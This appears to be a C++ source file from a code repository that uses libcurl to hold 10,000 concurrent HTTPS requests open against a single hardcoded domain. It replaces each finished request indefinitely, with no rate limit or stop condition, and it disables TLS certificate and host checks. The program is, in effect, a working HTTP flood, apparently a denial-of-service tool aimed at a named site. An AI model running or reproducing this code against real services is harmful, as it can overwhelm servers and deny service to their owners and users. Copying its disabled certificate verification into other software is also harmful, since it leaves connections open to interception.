Files
uibi-mu/main.cpp

65 lines
1.8 KiB
C++

#include <curl/curl.h>
#include <iostream>
#include <vector>
#include <string>
static const char* URL = "https://uibi-mu.click/uibi-mu";
static const int CONCURRENCY = 10000;
size_t write_callback(char* ptr, size_t size, size_t nmemb, void* userdata) {
return size * nmemb;
}
CURL* create_easy() {
CURL* easy = curl_easy_init();
curl_easy_setopt(easy, CURLOPT_URL, URL);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(easy, CURLOPT_PRIVATE, easy);
return easy;
}
int main() {
curl_global_init(CURL_GLOBAL_DEFAULT);
CURLM* multi = curl_multi_init();
int still_running = 0;
for (int i = 0; i < CONCURRENCY; i++) {
CURL* easy = create_easy();
curl_multi_add_handle(multi, easy);
}
curl_multi_perform(multi, &still_running);
while (still_running) {
int numfds;
curl_multi_wait(multi, NULL, 0, 1000, &numfds);
curl_multi_perform(multi, &still_running);
CURLMsg* msg;
int msgs_left;
while ((msg = curl_multi_info_read(multi, &msgs_left))) {
if (msg->msg == CURLMSG_DONE) {
CURL* easy = msg->easy_handle;
long http_code = 0;
curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &http_code);
std::cout << "HTTP: " << http_code << std::endl;
curl_multi_remove_handle(multi, easy);
curl_easy_cleanup(easy);
CURL* new_easy = create_easy();
curl_multi_add_handle(multi, new_easy);
still_running++;
}
}
}
curl_multi_cleanup(multi);
curl_global_cleanup();
return 0;
}